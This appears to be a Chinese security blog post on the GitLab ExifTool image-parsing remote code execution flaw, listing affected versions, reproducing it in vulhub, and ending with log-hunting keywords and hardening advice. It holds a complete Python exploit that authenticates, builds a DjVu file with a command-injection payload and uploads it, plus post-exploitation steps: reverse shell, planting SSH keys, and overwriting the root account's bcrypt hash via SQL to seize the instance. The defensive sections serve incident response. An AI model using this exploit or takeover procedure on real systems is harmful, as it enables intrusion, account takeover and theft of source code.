大柚子

这世界不过如此

一、概述

GitLab 是由GitLab Inc.开发的一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,可通过Web界面访问公开或私人项目。但漏洞版本中,GitLab 没有正确验证传递给文件解析器的图像文件,这导致远程命令执行。

二、影响版本

可通过终端命令cat /opt/gitlab/embedded/service/gitlab-rails/VERSION查看版本。当前有以下版本受影响:
11.9<=Gitlab CE/EE<13.8.8
13.9<=Gitlab CE/EE<13.9.6
13.10<=Gitlab CE/EE<13.10.3

三、漏洞复现

1、利用vulhub一键化搭建漏洞环境,启动完成后进入漏洞界面

2、常规攻击场景

(1)下载挖矿病毒或者勒索病毒场景?

在这种场景下,挖矿或者勒索家族会批量扫描公网上存在漏洞的gitlab,基本操作是利用漏洞后执行下载恶意木马文件后执行木马,或者权限足够的情况下,写入计划任务、公钥,实现定期下载病毒样本或登录后下载恶意样本(偏向自动化)。


import requests
from bs4 import BeautifulSoup
import random
import os
import argparse

parser = argparse.ArgumentParser(description='GitLab &lt; 13.10.3 RCE')
parser.add_argument('-u', help='Username', required=True)
parser.add_argument('-p', help='Password', required=True)
parser.add_argument('-c', help='Command', required=True)
parser.add_argument('-t', help='URL (Eg: http://gitlab.example.com)', required=True)
args = parser.parse_args()

username = args.u
password = args.p
gitlab_url = args.t
command = args.c

session = requests.Session()

# Authenticating
print("&#91;1] Authenticating")
r = session.get(gitlab_url + "/users/sign_in")
soup = BeautifulSoup(r.text, features="lxml")
token = soup.findAll('meta')&#91;16].get("content")

login_form = {
    "authenticity_token": token,
    "user&#91;login]": username,
    "user&#91;password]": password,
    "user&#91;remember_me]": "0"
}
r = session.post(f"{gitlab_url}/users/sign_in", data=login_form)

if r.status_code != 200:
    exit(f"Login Failed:{r.text}")
else:
    print("Successfully Authenticated")


# payload creation
print("&#91;2] Creating Payload ")

payload = f"" . qx{{{command}}} . \\\n"
f1 = open("/tmp/exploit","w")
f1.write('(metadata\n')
f1.write('        (Copyright "\\\n')
f1.write(payload)
f1.write('" b ") )')
f1.close()

# Checking if djvumake is installed
check = os.popen('which djvumake').read()
if (check == ""):
    exit("djvumake not installed. Install by running command : sudo apt install djvulibre-bin")

# Building the payload
os.system('djvumake /tmp/exploit.jpg INFO=0,0 BGjp=/dev/null ANTa=/tmp/exploit')


# Uploading it
print("&#91;3] Creating Snippet and Uploading")

# Getting the CSRF token
r = session.get(gitlab_url + "/users/sign_in")
soup = BeautifulSoup(r.text, features="lxml")
csrf = soup.findAll('meta')&#91;16].get("content")


cookies = {'_gitlab_session': session.cookies&#91;'_gitlab_session']}
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);',
    'Accept': 'application/json',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': f'{gitlab_url}/projects',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1',
    'X-Requested-With': 'XMLHttpRequest',
    'X-CSRF-Token': f'{csrf}'
}
files = {'file': ('exploit.jpg', open('/tmp/exploit.jpg', 'rb'), 'image/jpeg', {'Expires': '0'})}

r = session.post(gitlab_url+'/uploads/user', files=files, cookies=cookies, headers=headers, verify=False)

if r.text != "Failed to process image\n":
    exit("&#91;-] Exploit failed")
else:
    print("&#91;+] RCE Triggered !!")

2、因为权限不足,反弹获取到shell后不具有文件夹写权限,获取gitlab仓库代码?

参考:https://www.anquanke.com/post/id/259862

在此场景下,因为权限不够,git用户不具有写权限,此时,如果符合如下条件话,可以尝试获取gitlab代码库。


1、具有操作数据库权限,gitlab自带访问数据库命令:gitlat-rails dbconsole
2、git用户具有ssh登录权限,在ssh可连情况下,可以尝试写入公钥进行登录。

关于获取数据库权限,这里有两种方式:


1、反弹shell后直接连接
2、git用户可ssh远程登录,写入公钥远程登录

输入命令 gitlat-rails dbconsole

查看有哪些表

发现users表,格式化输出root用户的信息,ps: root的id为1

根据密码特征,可以发现是bcrypt加密,这种加密针对同一种明文每次加密后的密文不一样。也就是说不可逆,但运气好的话,可在cmd5中解开,但又因为gitlab默认的密码策略是8个字符。
最稳妥的办法就是修改root用户的密码密文值。关于bcrypt加密算法参考:https://blog.csdn.net/fengyingkong/article/details/87377061
12345678的密文值为$2a$10$9sM0WeC3WSDCx9HWwr7z7eV3h3Q/tPxP7G2kvCWxWqdJemid1lICa
执行如下sql命令:
update users set encrypted_password=’$2a$10$9sM0WeC3WSDCx9HWwr7z7eV3h3Q/tPxP7G2kvCWxWqdJemid1lICa’ where e id =1;

四、应急响应排查

1、日志侧分析

gitlab日志位置大致如下:


/var/log/gitlab/nginx/gitlab-access.log
/var/log/gitlab/nginx/access.log

排查关键字:


1、因为是受ExifTool影响的,期间也会进行上传,所以可以搜索关键字exiftool以及/uploads/user作为排查途径
2、有的会通过注册账号之后提权,所以会访问/users/sign_up接口,这也可以作为关键字

GitLab 由许多组件(Redis、Nginx 等)组成。处理上传的称为gitlab-workhorse,它依次调用 ExifTool,然后将最终附件传递给 Rails,故可在workhorse的日志中排查。

五、加固建议

1、升级到gitlab的安全版本

2、不建议将gitlab开放到公网上(如一定要,最好白名单访问)

2、因为漏洞是受ExifTool影响的,升级ExifTool理论上是能够缓解漏洞的(不建议)

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。